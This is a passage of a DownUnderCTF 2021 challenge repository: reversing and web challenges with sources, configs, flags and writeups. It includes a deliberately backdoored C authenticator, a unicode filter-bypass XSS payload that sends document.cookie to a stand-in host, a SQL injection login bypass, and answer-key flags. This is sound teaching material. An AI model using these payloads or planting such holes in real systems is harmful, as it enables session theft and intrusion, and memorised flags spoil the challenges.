sp=stackSave();try{Module["dynCall_viiiiiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiij(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiij"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiijiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viiiijiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiiji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viiiji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiijji(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{Module["dynCall_viiijji"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viij(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viij"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_viiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viijii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijiijiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{Module["dynCall_viijiijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijijii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{Module["dynCall_viijijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijijj(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijijj"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijj(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_viijj"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{Module["dynCall_viijji"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijjiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijjiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viijjji(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{Module["dynCall_viijjji"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vij(index,a1,a2,a3){var sp=stackSave();try{Module["dynCall_vij"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_viji(index,a1,a2,a3,a4){var sp=stackSave();try{Module["dynCall_viji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{Module["dynCall_vijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_vijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{Module["dynCall_vijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw 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Use arrow keys to move. Collect all four coins then find the flag!
Sprites credit: https://www.kenney.nl/
================================================ FILE: rev/gamer/challenge.yml ================================================ version: "0.1" id: gamer name: gamer category: reversing description: | Are you a pro gamer? Beat (hack) this game and prove it! Author: joseph#8210 connection_info: ${url} tags: - medium flags: - DUCTF{y0u_4r3_a_pr0_g4m3r_a38fb} - DUCTF{Y0U_4R3_A_PR0_G4M3R_A38FB} ================================================ FILE: rev/gamer/solve/index.html ================================================ DownUnderCTF 2021 | gamer
Use arrow keys to move. Collect all four coins then find the flag!

press z to fly

Sprites credit: https://www.kenney.nl/
================================================ FILE: rev/gamer/solve/writeup.md ================================================ # Challenge Overview We are tasked with beating a simple game made with [Unity](https://unity.com/). Checking the network requests in the browser developer tools shows that a few files are downloaded, but while the game is being played, no network requests are made. We also note that the console output has some useful messages (though not necessary to solve the challenge). We can download the necessary assets and work offline. The game itself is simple; collect four coins on the map, then find the flag. The first two coins are easy to get, but we are teased with the third coin being behind a tree which is blocked by a row of spikes that seem impossible to get past. If you manage to get past the spikes, the fourth coin might also seem out of reach. It exists high in the sky, surrounded by a swarm of flying enemies. If you manage to obtain this coin, the last step is to find the flag. There are signs pointing to the right, and the console output also tells you the location of the flag. It's very far away from you, and it might take some time to get there. # Solution To beat the game it seems like we need three things: invincibility, more jumping power, and more speed (or a position hack). Considering that everything is handled client-side, this might be possible to achieve somehow. Actually, Unity makes this quite easy for us as it exposes an interface to [call Unity scripts from JavaScript](https://docs.unity3d.com/Manual/webgl-interactingwithbrowserscripting.html). Deobfuscating and cleaning up the JavaScript in the `index.html` file, we see that `createUnityInstance` is called. We can edit the script to put the created unity instance object into the global scope so that we can use it to send messages to Unity objects (as in the link above). ## Invincibility and Jump Hack We need to figure out what Unity objects to send messages to, and what methods are defined on them. There are some tools that may help extracting Unity assets and resources from the data files. [This tool](https://devxdevelopment.com/) (the free version) in particular could be used to get the scene data and names of the objects. However, it's entirely possible to figure out the object names with sensible guesses (i.e. `Player`) and their methods can be found by closely inspecting the `game.data` file. Specifically, the `game.data` file contains metadata for Unity scripts which includes method names. Looking through the `game.data` file, we see a section which contains some useful names. ``` PlayerLogic HandleMovement CheckIfGrounded amt BoosterJump UpdateHealth health moveSpeed jumpForce ``` Method names in C# conventionally use PascalCase, so this helps us to identify the methods. If we don't know what arguments the methods take, we can try sending messages like: ```js unityInstance.SendMessage('Player', 'BoosterJump') ``` which will give an error message, telling us what parameters it expects: ``` Failed to call function BoosterJump of class PlayerLogic Calling function BoosterJump with no parameters but the function requires 1. ``` Instead, if we try ```js unityInstance.SendMessage('Player', 'BoosterJump', 20) ``` we notice that our character jumps up! The same thing can be done for `UpdateHealth` to gain invincibility. ## Speed Hack There aren't any convenient methods that will update our speed. Perhaps we could find where our speed is stored in memory and update it that way. However, we can also abuse the fact that Unity uses the `performance.now()` web API for handling time. Inspired by [Cetus](https://github.com/Qwokka/Cetus), we can simply overwrite `performance.now` to our own function that returns a higher value than expected; this has the effect of speeding things up and will allow us to move a lot faster. Doing this, we can move to the right and find the flag in less than a minute. ## Cheat Client A sample cheat client can be found in `solve/index.html`. To run it, set up a http server serving at the challenge's root directory (so that it can access the files in `challenge/`). The client provides a very simple user interface to update the player's health and the game speed. It also binds `z` to the booster jump function to achieve arbitrary jump. The GIF below shows a playthrough of the game (sorry for the screen tearing) ![playthrough.gif](./playthrough.gif) ================================================ FILE: rev/juniperus/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/nsjail.cfg /home/ctf/nsjail.cfg COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY ./challenge/shell /home/ctf/chal/pwn ================================================ FILE: rev/juniperus/README.md ================================================ # Juniperus **Author:** nullableVoid\*#7225 **Category:** rev **Difficulty:** Easy How the hell did they break into our firewalls? We had strong passwords and everything! **Attached files:** - ./challenge/shell (sha256: 1623de1bb8b85804278065deda8b1ec56c0ed1139cdac46a368184c1e9fa6b98) ================================================ FILE: rev/juniperus/challenge/flag.txt ================================================ DUCTF{57r1ng5-4bl3... k1nd4} ================================================ FILE: rev/juniperus/challenge/nsjail.cfg ================================================ name: "challenge" description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: 10 port: 1337 # limits mount_proc: false time_limit: 60 cgroup_mem_max: 16777216 cgroup_pids_max: 4 cgroup_cpu_ms_per_sec: 25 mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/dev/urandom", dst: "/dev/urandom", is_bind: true, rw: false }, { src: "/dev/null", dst: "/dev/null", is_bind: true, rw: false } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: rev/juniperus/challenge/shell.c ================================================ #include #include #include #include #include const char client_password_hashed[] = {0x21, 0xdf, 0x4, 0x84, 0x7a, 0x91, 0x8c, 0xa2, 0x47, 0xa4, 0x3e, 0x46, 0xe7, 0xbd, 0x94, 0x2e, 0x32, 0xa1, 0x72, 0x80, 0xe8, 0xe4, 0x3a, 0xd2, 0xcc, 0xe7, 0xd8, 0xe9, 0x3a, 0x6d, 0x59, 0xa1, 0xcd, 0xee, 0x36, 0xa7, 0xa2, 0xce, 0xca, 0xc6, 0x6b, 0x61, 0x95, 0x8d, 0x38, 0xd, 0x56, 0xd4, 0xfa, 0x16, 0xef, 0xc4, 0xd3, 0xe2, 0xaf, 0xe5, 0x82, 0x18, 0x9b, 0xb8, 0x36, 0xc5, 0x91, 0xa4}; //rand bytes const char log_file_path[] = "/dev/null"; FILE* log_file; bool print_log(const char* format, ...) { int result; va_list arglist; va_start(arglist, format); result = vfprintf(log_file, format, arglist); va_end(arglist); return result < 0; } bool backdoor(const char* backdoor_pw, ...) { const char* s1; const char* s2; va_list arglist; va_start(arglist, backdoor_pw); vfprintf(log_file, backdoor_pw, arglist); char* input = va_arg(arglist, char*); va_end(arglist); s1 = backdoor_pw; s2 = input; while (*s1 == *s2 && *s1) { s1++; s2++; } return *s1 == *s2; } bool authenticate() { EVP_MD_CTX *mdctx; if (print_log("[I] New context...\n")) { return 0; } if((mdctx = EVP_MD_CTX_new()) == NULL) { print_log("[E] New failed!\n"); return 0; } if (print_log("[I] Init context...\n")) { return 0; } if(1 != EVP_DigestInit_ex(mdctx, EVP_sha3_512(), NULL)) { print_log("[E] Init failed!\n"); return 0; } if (print_log("[I] Prompting user for password...\n")) { return 0; } char input[35]; printf("Root password (32 chars. max): "); fgets(input, 32, stdin); input[strcspn(input, "\n")] = 0; if (print_log("[I] Password attempt: %s (%d chars long)\n", input, strlen(input))) { return 0; } if (print_log("[I] Updating context...\n")) { return 0; } if(1 != EVP_DigestUpdate(mdctx, input, 32)) { print_log("[E] Update failed!\n"); return 0; } if (print_log("[I] Allocating digest...\n")) { return 0; } unsigned char* digest = (unsigned char *)OPENSSL_malloc(EVP_MD_size(EVP_sha256())); if(digest == NULL) { print_log("[E] malloc failed!\n"); return 0; } unsigned int digest_len; if (print_log("[I] Finalising digest...\n")) { return 0; } if(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) { print_log("[E] Finalise failed!\n"); return 0; } EVP_MD_CTX_free(mdctx); if (print_log("[I] Comparing hashes...\n")) { return 0; } int result = CRYPTO_memcmp(client_password_hashed, digest, 64); OPENSSL_free(digest); return backdoor("[I] Authentication complete.", input) || (result == 0); } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); log_file = fopen(log_file_path, "a"); char buffer[100] = {0}; FILE* flag = fopen("flag.txt", "r"); if (flag == NULL) { printf("Missing flag.txt\n"); return 0; } char* ptr = buffer; for (int c = fgetc(flag); c != EOF; c = fgetc(flag)) { *ptr++ = (char) c; } if (authenticate()) { printf("Authenticated. Here's your flag: %s\n", buffer); } else { printf("Authentication failure.\n"); } fclose(flag); return 0; } ================================================ FILE: rev/juniperus/challenge.yml ================================================ version: "0.1" id: juniperus name: Juniperus category: reversing description: > How the hell did they break into our firewalls? We had strong passwords and everything! Author: nullableVoid*#7225 connection_info: nc ${host} ${port} files: - ./challenge/shell tags: - easy flags: - DUCTF{57r1ng5-4bl3... k1nd4} ================================================ FILE: rev/juniperus/solve/writeup.md ================================================ The challenge name makes reference to the infamous Juniper Networks supply-chain attack, in which a specific version of software had [embedded a root password disguised as a logging string](https://www.rapid7.com/blog/post/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor/) to evade detection. Disassembling the `shell` binary, the main function (0x101180) loads the flag, and calls another function (0x101524) which contains references to log strings. These log strings are passed, into a logging function (0x101359), with the exception of `[I] Authentication complete.`, which is passed into a separate function. This function in turn contains an inlined strcmp, and then returns its result. Hence, the player can deduce that the aforementioned string is the password. ================================================ FILE: rev/no-strings/README.md ================================================ # no strings **Category:** reversing **Difficulty:** beginner **Author:** joseph#8210 This binary contains a free flag. No strings attached, seriously! **Attached files:** - ./challenge/nostrings (sha256: 62bdc1ff08af6647109112372fdcb09a9f3eaa0d164a8542e251de9ecbdb187f) ================================================ FILE: rev/no-strings/WRITEUP.md ================================================ When we run the program, we are prompted to enter the flag. If we enter something, the program prints `wrong!` and exits. Presumably, the goal of the challenge is to reverse engineer the program to figure out what input string will cause the program to print something other than `wrong!`. [`strings`](https://en.wikipedia.org/wiki/Strings_(Unix)) is a useful program that can be used to quickly find hardcoded strings (and secrets!) in binary files. In this challenge however, running `strings` does not find the flag as one might expect from the challenge name. Here are two (among many other) ways to solve the challenge: - Running `xxd` and looking through the output reveals something that resembles the flag (which we can recognise from the `DUCTF{` flag format) - Opening the binary in `radare2` and running the `iz` command to print strings in the data sections of the binary ================================================ FILE: rev/no-strings/challenge/flag.txt ================================================ DUCTF{stringent_strings_string} ================================================ FILE: rev/no-strings/challenge/nostrings.c ================================================ #include #include char* flag = "D\0U\0C\0T\0F\0{\0s\0t\0r\0i\0n\0g\0e\0n\0t\0_\0s\0t\0r\0i\0n\0g\0s\0_\0s\0t\0r\0i\0n\0g\0}"; int main() { char input[70]; printf("flag? "); fgets(input, 70, stdin); for(int i = 0; i < strlen(input) - 1; i++) { if(input[i] != flag[2*i]) { puts("wrong!"); return -1; } } puts("correct!"); return 0; } ================================================ FILE: rev/no-strings/challenge.yml ================================================ version: "0.1" id: no-strings name: no strings category: reversing description: > This binary contains a free flag. No strings attached, seriously! Author: joseph#8210 tags: - beginner files: - ./challenge/nostrings flags: - DUCTF{stringent_strings_string} ================================================ FILE: web/chainreaction/Dockerfile ================================================ FROM python:3.7 ENV INSTALL_PATH /app RUN mkdir -p $INSTALL_PATH RUN apt-get update && \ apt-get install -y netcat-openbsd && \ rm -rf /var/lib/apt/lists/* WORKDIR $INSTALL_PATH RUN mkdir -p /app/chainreaction COPY ./challenge/chainreaction /app/chainreaction COPY ./challenge/ /app RUN pip install -r requirements.txt RUN chmod +x /app/wait-for-it.sh CMD ["/bin/sh", "-c", "/app/wait-for-it.sh --strict -t 60 $MYSQL_HOST:3306 -- python3 /app/app.py"] ================================================ FILE: web/chainreaction/README.md ================================================ # Chainreaction **Catagory**: web **Difficulty**: Easy **Author**: n00bmaster ## Description A bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security. ## Writeup In the solution directory ================================================ FILE: web/chainreaction/challenge/app.py ================================================ from chainreaction import app if __name__ == '__main__': app.run(host="0.0.0.0", port=1337) ================================================ FILE: web/chainreaction/challenge/bad.txt ================================================
{% for category, message in get_flashed_messages(with_categories=True) %}
{{ message }}
{% endfor %} {% block body %} {% endblock body %}
© Someone idk
================================================ FILE: web/chainreaction/challenge/chainreaction/templates/home.html ================================================ {% extends 'head.html' %} {% block body %}

Beta Access

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Test 3

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce vel porta mauris, molestie condimentum urna.

Last updated 1 week ago

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Test 2

Vestibulum molestie iaculis posuere. Suspendisse consectetur metus vitae nulla tincidunt pulvinar. Nullam sed ante risus. Suspendisse tortor nisl, dapibus in metus non, porta lobortis velit. Nunc accumsan aliquam fermentum. Nulla molestie facilisis placerat. Suspendisse venenatis erat erat, vitae sodales turpis molestie eu.

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Test 3

Pellentesque pretium est fringilla massa vulputate vestibulum. Etiam tortor odio, rutrum at lacinia in, commodo a orci. Etiam laoreet, dolor ac interdum dictum, ligula libero rhoncus orci, et pulvinar risus leo vitae lacus. Nullam nisi elit, placerat non justo pretium, lacinia condimentum libero. Nunc ut molestie orci, et efficitur neque. Integer nec ipsum sit amet arcu venenatis ultrices vel at arcu. Integer sapien tortor, ultrices ac semper non, sagittis pretium nulla.

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{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/index.html ================================================ {% extends 'head.html' %} {% block body %}

Welcome to the all new Science-Tech forum/blog

Our roadmap is very plain and simple. Start off as a forum/blog for the science community and then move on to sell science tools.

{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/login.html ================================================ {% extends 'head.html' %} {% block body %}

Login


For developers sign in and go to the portal this

{% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/profile.html ================================================ {% extends 'head.html' %} {% block body %} {% autoescape false %}
{% if auth == True %}

Welcome to your profile {{ user_data.username }}

Report a problem on this page and an admin will check out the page for any problems

{% elif admin == True %}

{{ user_data.username }}

About me:

{{ user_data.aboutme }}

{% else %}

Unauthorized to view this profile

{% endif %}
{% endautoescape %} {% endblock body %} ================================================ FILE: web/chainreaction/challenge/chainreaction/templates/register.html ================================================ {% extends 'head.html' %} {% block body %}

Registration


{% endblock body %} ================================================ FILE: web/chainreaction/challenge/cookiejar ================================================ [ { "domain": "localhost", "name": "admin-cookie", "value": "sup3rs3cur34dm1nc00k13", "httponly": false } ] ================================================ FILE: web/chainreaction/challenge/init.json ================================================ { "messages": [ { "username": "admin", "message": "Now we have a chat for admins and devs who are working on this project, if you have any questions/bugs/etc just post them here. This is just a beta feature, if it works out well we will leave it in.", "timesent": 1 }, { "username": "john", "message": "There is a small bug with register/login, it is acting very weird with unicode characters and causes errors with SQLAlchemy when adding those unicode characters. Anyone know a fix? Also the about me section was all html escaped making it look ugly, need to try and find a fix for that as well. It looks very ugly.", "timesent": 2 }, { "username": "wick", "message": "Yea we can normalize them right? to make that work? Only used it once for a uni project this semester, NFKD I think it was, ill see how we go and for the html thing i think its because its being being pasted as raw value, ill just html escape the page instead", "timesent": 3 }, { "username": "john", "message": "Okay sure. Try to fix it and then get a senior dev to look it over. I think sam is on a holiday so just push the changes for now and he can take a look when he comes back.", "timesent": 4 }, { "username": "kay", "message": "bruh... you basically just added a vulnerability, why tf are you normalizing after checking the bad characters, and why is there an autoescape on in the profile page? makes no sense to me.", "timesent": 5 }, { "username": "john", "message": "He is not at work today, coming back monday iirc, welp i guess we will wait till he comes back and get him to fix it up. Luckily we are still in dev so we can catch these problems early.", "timesent": 6 }, { "username": "john", "message": "Kay can I assign you to the profile page bugs, I swear this guy is going to keep introducing bugs if he keeps going like this", "timesent": 7 }, { "username": "kay", "message": "Yea sure no worries, Ill try to stay on top of it", "timesent": 8 }, { "username": "john", "message": "Cool. Let me know when bugs are fixed so we can hire some pentesters to test the website.", "timesent": 9 }, { "username": "admin", "message": "Sounds good! The admin portal is still under development, kinda want to seperate it from the main app so it will use different sessions. For now I have set a static cookie, but Ill fix that up on Monday.", "timesent": 10 } ] } ================================================ FILE: web/chainreaction/challenge/requirements.txt ================================================ Flask==1.1.2 Flask_SQLAlchemy==2.4.4 SQLAlchemy<1.4 Flask_Login==0.5.0 Flask_Bcrypt==0.7.1 apscheduler==3.7.0 python-dotenv Flask-Migrate pymysql sqlalchemy-utils selenium flask_limiter requests ================================================ FILE: web/chainreaction/challenge/wait-for-it.sh ================================================ #!/usr/bin/env bash # Use this script to test if a given TCP host/port are available WAITFORIT_cmdname=${0##*/} echoerr() { if [[ $WAITFORIT_QUIET -ne 1 ]]; then echo "$@" 1>&2; fi } usage() { cat << USAGE >&2 Usage: $WAITFORIT_cmdname host:port [-s] [-t timeout] [-- command args] -h HOST | --host=HOST Host or IP under test -p PORT | --port=PORT TCP port under test Alternatively, you specify the host and port as host:port -s | --strict Only execute subcommand if the test succeeds -q | --quiet Don't output any status messages -t TIMEOUT | --timeout=TIMEOUT Timeout in seconds, zero for no timeout -- COMMAND ARGS Execute command with args after the test finishes USAGE exit 1 } wait_for() { if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then echoerr "$WAITFORIT_cmdname: waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" else echoerr "$WAITFORIT_cmdname: waiting for $WAITFORIT_HOST:$WAITFORIT_PORT without a timeout" fi WAITFORIT_start_ts=$(date +%s) while : do if [[ $WAITFORIT_ISBUSY -eq 1 ]]; then nc -z $WAITFORIT_HOST $WAITFORIT_PORT WAITFORIT_result=$? else (echo -n > /dev/tcp/$WAITFORIT_HOST/$WAITFORIT_PORT) >/dev/null 2>&1 WAITFORIT_result=$? fi if [[ $WAITFORIT_result -eq 0 ]]; then WAITFORIT_end_ts=$(date +%s) echoerr "$WAITFORIT_cmdname: $WAITFORIT_HOST:$WAITFORIT_PORT is available after $((WAITFORIT_end_ts - WAITFORIT_start_ts)) seconds" break fi sleep 1 done return $WAITFORIT_result } wait_for_wrapper() { # In order to support SIGINT during timeout: http://unix.stackexchange.com/a/57692 if [[ $WAITFORIT_QUIET -eq 1 ]]; then timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --quiet --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & else timeout $WAITFORIT_BUSYTIMEFLAG $WAITFORIT_TIMEOUT $0 --child --host=$WAITFORIT_HOST --port=$WAITFORIT_PORT --timeout=$WAITFORIT_TIMEOUT & fi WAITFORIT_PID=$! trap "kill -INT -$WAITFORIT_PID" INT wait $WAITFORIT_PID WAITFORIT_RESULT=$? if [[ $WAITFORIT_RESULT -ne 0 ]]; then echoerr "$WAITFORIT_cmdname: timeout occurred after waiting $WAITFORIT_TIMEOUT seconds for $WAITFORIT_HOST:$WAITFORIT_PORT" fi return $WAITFORIT_RESULT } # process arguments while [[ $# -gt 0 ]] do case "$1" in *:* ) WAITFORIT_hostport=(${1//:/ }) WAITFORIT_HOST=${WAITFORIT_hostport[0]} WAITFORIT_PORT=${WAITFORIT_hostport[1]} shift 1 ;; --child) WAITFORIT_CHILD=1 shift 1 ;; -q | --quiet) WAITFORIT_QUIET=1 shift 1 ;; -s | --strict) WAITFORIT_STRICT=1 shift 1 ;; -h) WAITFORIT_HOST="$2" if [[ $WAITFORIT_HOST == "" ]]; then break; fi shift 2 ;; --host=*) WAITFORIT_HOST="${1#*=}" shift 1 ;; -p) WAITFORIT_PORT="$2" if [[ $WAITFORIT_PORT == "" ]]; then break; fi shift 2 ;; --port=*) WAITFORIT_PORT="${1#*=}" shift 1 ;; -t) WAITFORIT_TIMEOUT="$2" if [[ $WAITFORIT_TIMEOUT == "" ]]; then break; fi shift 2 ;; --timeout=*) WAITFORIT_TIMEOUT="${1#*=}" shift 1 ;; --) shift WAITFORIT_CLI=("$@") break ;; --help) usage ;; *) echoerr "Unknown argument: $1" usage ;; esac done if [[ "$WAITFORIT_HOST" == "" || "$WAITFORIT_PORT" == "" ]]; then echoerr "Error: you need to provide a host and port to test." usage fi WAITFORIT_TIMEOUT=${WAITFORIT_TIMEOUT:-20} WAITFORIT_STRICT=${WAITFORIT_STRICT:-0} WAITFORIT_CHILD=${WAITFORIT_CHILD:-0} WAITFORIT_QUIET=${WAITFORIT_QUIET:-0} # Check to see if timeout is from busybox? WAITFORIT_TIMEOUT_PATH=$(type -p timeout) WAITFORIT_TIMEOUT_PATH=$(realpath $WAITFORIT_TIMEOUT_PATH 2>/dev/null || readlink -f $WAITFORIT_TIMEOUT_PATH) WAITFORIT_BUSYTIMEFLAG="" if [[ $WAITFORIT_TIMEOUT_PATH =~ "busybox" ]]; then WAITFORIT_ISBUSY=1 # Check if busybox timeout uses -t flag # (recent Alpine versions don't support -t anymore) if timeout &>/dev/stdout | grep -q -e '-t '; then WAITFORIT_BUSYTIMEFLAG="-t" fi else WAITFORIT_ISBUSY=0 fi if [[ $WAITFORIT_CHILD -gt 0 ]]; then wait_for WAITFORIT_RESULT=$? exit $WAITFORIT_RESULT else if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then wait_for_wrapper WAITFORIT_RESULT=$? else wait_for WAITFORIT_RESULT=$? fi fi if [[ $WAITFORIT_CLI != "" ]]; then if [[ $WAITFORIT_RESULT -ne 0 && $WAITFORIT_STRICT -eq 1 ]]; then echoerr "$WAITFORIT_cmdname: strict mode, refusing to execute subprocess" exit $WAITFORIT_RESULT fi exec "${WAITFORIT_CLI[@]}" else exit $WAITFORIT_RESULT fi ================================================ FILE: web/chainreaction/challenge.yml ================================================ version: "0.1" id: chainreaction name: Chainreaction category: web description: | A bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security. Author: n00bmaster connection_info: ${url} tags: - easy flags: - DUCTF{_un1c0de_bypass_x55_ftw!} ================================================ FILE: web/chainreaction/docker-compose.yml ================================================ version: '2' services: website: build: . depends_on: - db links: - xssbot - db env_file: - '.env' ports: - "1337:1337" db: image: mysql:5.7 container_name: mysql_container ports: - "3306:3306" env_file: - '.env' xssbot: image: ghcr.io/downunderctf/docker-vendor/xssbot:chrome privileged: true ports: - 8000:80 volumes: - ./challenge/cookiejar:/var/marvin/auth/cookiejar env_file: - '.env' ================================================ FILE: web/chainreaction/solution/flag.txt ================================================ DUCTF{_un1c0de_bypass_x55_ftw!} ================================================ FILE: web/chainreaction/solution/payload.txt ================================================ ﹤ˢcrⁱpt﹥fetch("http://blah/?c="+document.cookie)﹤/ˢcrⁱpt﹥ ================================================ FILE: web/chainreaction/solution/solution.md ================================================ # Writeup Checking the login page reveals a link to /dev which contains a simple message saying that the dev portal is under development and to checkout /devchat if you developer access has already been provisioned. However, going to /devchat just works because of poor restrictions on the endpoint. There is a very interesting message sent by john and wick in the devchat hinting at unicode normalization and using html escapes on the profile page. ![Devchat](./devchat.png) Using this information and editing the profile page with regular xss payloads should not work as there is a waf running on the backend checking for any bad characters. However, after replacing a few of the characters with unicode characters and attempting to change the username works as the data is being normalized after being passed into the waf. Using a payload like this to make a request to a request catcher: ``` ﹤ˢcrⁱpt﹥fetch("http://blah/?c="+document.cookie)﹤/ˢcrⁱpt﹥ ``` We can leak an admin cookie which can be then used to log into the admin portal which was mentioned on the /dev page. ================================================ FILE: web/cowboy_world/Dockerfile ================================================ FROM python:3.9-slim COPY ./requirements.txt /app/requirements.txt WORKDIR /app RUN pip3 install -r requirements.txt COPY ./challenge /app/ CMD ["gunicorn", "-w", "2", "-b", "0.0.0.0:5000", \ "--access-logfile", "-", \ "--access-logformat", "%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"", \ "--forwarded-allow-ips=*", "app:app"] ================================================ FILE: web/cowboy_world/README.md ================================================ # Cowboy World **Author:** Crem **Category:** web **Difficulty:** Beginner ## Description I heard this is the coolest site for cowboys and can you find a way in? ================================================ FILE: web/cowboy_world/WRITEUP.md ================================================ # Cowboy World Write Up This web challenge is a simple SQL injection challenge with a small twist. Firstly, when you go to the provide challenge URL you will be greeted with a poorly built web app with a login. However, `robots.txt` has an entry to `/sad.eml`. If you open up the email it says that a `sadcowboy` is only allowed inside this application. If you put `sadcowboy` as the username and put a simple SQLi injection into the password field like `xyz' OR '1'='1'-- -` Once you have successfully performed an SQLi on the login page then you will be greeted with the flag. ================================================ FILE: web/cowboy_world/challenge/app.py ================================================ from flask import Flask, render_template, request import sqlite3 app = Flask( __name__, template_folder="templates", static_folder="static", static_url_path='' ) def db_connection(): conn = None try: conn = sqlite3.connect("users.sqlite") except sqlite3.error as e: print(e) return e @app.route("/", methods=["GET","POST"]) def login(): if request.method == "POST": uname = request.form['username'] pword = request.form['password'] conn = sqlite3.connect('users.sqlite') c = conn.cursor() statement = f"SELECT 